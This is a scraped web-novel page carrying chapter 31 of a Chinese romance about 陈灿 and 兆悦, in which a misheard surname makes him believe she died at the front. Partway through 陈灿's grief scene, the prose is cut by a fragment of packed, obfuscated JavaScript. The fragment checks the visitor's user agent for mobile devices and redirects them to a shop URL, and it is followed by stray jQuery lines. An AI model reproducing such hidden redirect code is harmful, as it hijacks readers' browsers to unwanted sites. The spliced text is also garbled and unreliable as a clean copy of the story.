默认冷灰
24号文字
方正启体

31. 造化

作者:听暖a本书字数:K更新时间:
    兆悦再睁眼时,世界已经换了模样。


    没有文工团的音乐,没有排练厅的镜子,没有黄昏时的小路,只有连绵的战壕、轰鸣的炮火,和永远散不去的硝烟味。


    她被分到了通讯部,工作在深深的地下掩体里,不见天日,只有发报机规律的电流声,日夜陪伴着她。


    外面是枪林弹雨,是生与死的赌注;里面是暗无天日的狭小空间,是每一分每一秒都在煎熬的精神斗争。


    她不敢闲下来。


    一闲下来,思念就会像潮水一样,把她整个人淹没。


    又是一个深夜,掩体里格外安静,战友们都累得沉沉睡去。


    兆悦靠在冰冷的墙壁上,望着头顶漆黑的顶壁,思绪不受控制地飘回了远方那个温暖的文工团。


    陈灿……


    她在心里轻轻念着这个名字。


    不知道他现在在做什么?


    是还会去排练厅偷偷加练小号吗?


    大概也不可能了,那个曾经只属于他们的秘密基地,如今早被何小萍占着,夜夜独自练舞。


    还是会像电影里一样,从炊事班顺来新鲜的西红柿,偷偷塞给哪个女兵?


    他有没有兑现那句承诺——只给她一个人带?


    又或者……


    他会不会,也在某一个瞬间,突然想起她?


    心口一阵发酸,眼眶微微发热。


    她拼命咬住唇,不让眼泪掉下来。


    在这里,脆弱是最奢侈的东西。


    可就在这阵伤感刚漫上来的瞬间,远处突然传来一阵尖锐、恐怖的破空声——是炮弹袭来!


    兆悦脸色骤变,所有儿女情长、所有思念伤感,在一秒钟内被她狠狠压进心底。


    她几乎是本能地弹起来,抓起耳机,手指飞快地在发报机上敲击,警报信号以最快速度传向各个哨位与掩体。


    “警报!敌炮来袭!隐蔽!”


    她疯了一样一遍遍重复、确认,直到所有点位都传回回应。


    炮弹在不远处轰然炸开,大地剧烈震颤,尘土簌簌落下。


    兆悦死死守着发报机,一动不动。


    这一夜,她凭着一秒不差的警觉,整整救下了十三条生命。


    没有人知道,那个在炮火前冷静得可怕的女通讯兵,前一秒还在想念远方的少年。


    硝烟散去,日子一天天过去。


    一个月后,这片战场的任务正式结束。


    兆悦一身尘土,坐上了来时那辆摇摇晃晃的绿皮卡。


    车轱辘碾过坑坑洼洼的土路,她望着窗外飞速后退的风景,心里只有一个方向。


    她立了功,成了人人称赞的战斗英雄。


    荣誉、表彰、前途,所有人都以为她会就此留在前线,一路高升。


    可只有兆悦自己清楚。


    她不要什么英雄名号,不要什么光荣履历。


    她只想回到那个有音乐、有笑声、有排练厅、有晚风小路的文工团。


    回到那个小号手的身边。


    皮卡一路颠簸,载着满身硝烟的她,向着归途缓缓驶去。


    风里,她轻轻闭上眼,唇角勾起一丝几不可见的弧度。


    等我,陈灿。


    而千里之外的文工团,早已是一片惊涛骇浪。


    兆悦走后,陈灿彻底变成了一具没有灵魂的空壳。


    他整日魂不守舍,眼神空洞,训练走神,吃饭发呆,连最宝贝的小号都不看了。


    所有人都看出了不对劲,却没人敢多问,更没有人会把玩世不恭的他,和突然远赴一线的兆悦联系在一起。


    团里时常有人提起兆悦,议论那个清冷安静的女兵,怎么会突然自请前往最危险的战场。


    只有陈灿,每听一次,心就像被刀割一次。


    他不敢问,却又疯了一样想知道她的消息。


    思来想去,他悄悄找到了刘峰。


    刘峰性子厚道,人脉也广,陈灿红着眼眶,低声拜托他帮忙打听战场的消息——“你帮我问一下……兆悦她在那边怎么样了。”


    可造化弄人。


    刘峰托人往前线联络点打听时,只说了“姓兆的女兵”,也许是因为电话交流,层层传达,直接听成了“姓赵的女兵”。


    偏偏不久前,战场上刚有一位赵姓女兵不幸牺牲,消息确凿,遗体也是对方经手处理的。


    对方语气沉重,毫不犹豫地回复:“赵姓女兵已经牺牲了,情况属实,遗体我亲自处理的。”


    信息一层传一层,错得彻彻底底。


    等到刘峰收到回信时,早已被默认为——兆悦已经牺牲。


    刘峰当场僵在原地,哀悼着,半天缓不过神。


    他看着每天活得像行尸走肉的陈灿,心里像压了一块巨石,张了好几次嘴,都不知道该如何把这个噩耗说出口。


    最终,他只是重重拍了拍陈灿的肩膀,忍着喉咙里的哽咽,艰难地吐出一句话:


    “陈灿……兆悦她,牺牲了。”


    世界,在这一刻彻底崩塌。


    天旋地转,耳边所有声音都消失了。


    陈灿站在原地,脸色惨白如纸,连呼吸都忘了。


    下一秒,他猛地转身,冲回宿舍,把锁在盒子里、擦得锃亮、宝贝得胜过一切的小号狠狠摔在了地上。


    黄铜小号砸在水泥地上,发出刺耳的巨响。


    萧穗子正好路过,吓得脸色一变,连忙冲过来捡起小号,心疼地拍掉灰尘:“怎么回事啊陈灿!这不是你最宝贝的东西吗?怎么能摔了!”


    郝淑雯也闻声赶来,皱着眉上前:“哎哟你今天是撞了邪了?魂都丢了!”


    可陈灿已经听不见任何声音了。


    他眼里没有光,没有痛,只有一片死寂的绝望。


    他猛地推开众人,发了疯一样往外冲,他要去战场,他要去找她,他不信,他死都不信!


    “你给我回来!”


    杭春明眼疾手快,死死拽住他,用尽全身力气把失控的他拖回宿舍。


    门关死,杭春明看着眼前这个哭得浑身发抖、几乎窒息的少年,一句话都说不出来。


    陈灿浑身脱力,重重蹲在地上,双手死死揪住自己的头发。


    脑海里翻来覆去,全是那晚排练厅里,她哭着对他说的话。


    ——我答应你,我一定回来。


    ——等我。


    你不是答应过我一定会回来的吗?


    你不是说过,一定会安全回到我身边的吗?


    你怎么能说话不算数……


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309113|198747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >怎么能就这样丢下我一个人……


    压抑了无数日夜的情绪彻底爆发,哭得撕心裂肺,直到哭声渐渐微弱,直接哭晕了过去。


    再次醒来,已经是两天后。


    他发了一场骇人的高烧,整个人烧得迷迷糊糊,浑身滚烫。


    杭春明守在床边,眼睛通红,见他睁眼,又急又气:“你快把我吓死了!再烧下去人都没了,知不知道!”


    陈灿躺在那儿,眼神空洞,声音轻得像一缕烟:“死了……就死了算了。”


    杭春明心里一揪,知道再也瞒不住、拖不下去了。


    他立刻跑去告诉了政委。


    政委一听是陈灿,瞬间头大——这可是昆明军区副司令员的儿子。


    他不敢耽搁,第一时间联系了陈副司令。


    电话那头,陈父也万分意外,他印象里的儿子向来玩世不恭、阳光、混不吝,怎么会突然变成这副模样?他让政委稳住局面,自己即刻动身赶来文工团。


    可陈灿已经彻底魔怔了。


    不过几天时间,他瘦得脱了相,脸颊凹陷,眼神呆滞,整个人像被抽走了所有生气。


    萧穗子看在眼里,疼在心里,每天端水送药、嘘寒问暖,哪怕得不到一句回应也从不放弃。


    郝淑雯再也不跟他斗嘴,看着他这副样子,只剩下满心的震惊与无措。


    政委眼看再拖就要出人命,紧急联系陈副司令抵达。


    那天下午,陈灿被人搀扶着见到了自己的父亲。


    他好几天没参加训练,没洗脸,没好好吃饭,早已没了往日的意气风发,几乎脱了人形。


    陈副司令原本还想板起脸训斥儿子,多大的人了,居然闹起脾气自暴自弃。


    可亲眼看见儿子这副半死不活的样子,所有的火气瞬间化作心疼。


    父子俩单独谈话,陈灿沙哑着嗓子,断断续续说出了全部——他喜欢兆悦,他以为她死了。


    陈副司令听完,心里瞬间明白了七八分。


    能安安稳稳待在文工团,却被强行调去前线的,多半不是自愿,而是家里强势安排,明着光荣,实则惩戒。


    他立刻动用军区人脉去查,一查才知道,女孩是一位副师长的女儿,是她父亲执意把女儿送去战场。


    陈副司令直接一个电话打给了女方父亲——那位副师长。


    对方接到军区副司令的电话,当场受宠若惊,又一头雾水。


    直到陈父问起他女儿兆悦在战场的情况,是不是已经牺牲,对方彻底愣住了。


    “牺牲?绝不可能!”副师长语气笃定,“真有牺牲,部队第一时间会通知家属!我们没有接到任何消息,我女儿好好的,还立了功,马上就要调回来了!”


    原来是姓搞错了。


    兆,不是赵。


    一场阴差阳错的误会。


    陈副司令挂了电话,立刻赶回儿子的宿舍。


    他看着躺在床上、眼神死寂的陈灿,深吸一口气,一字一句,清晰地告诉他:“儿子,她没死。是姓搞错了,兆悦还活着,她立了功,马上就要回来了。”


    下一秒,


    陈灿空洞的眼睛里,第一次重新亮起了光。


    那束被死亡夺走的、熄灭了许久的光,终于,重新活了过来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)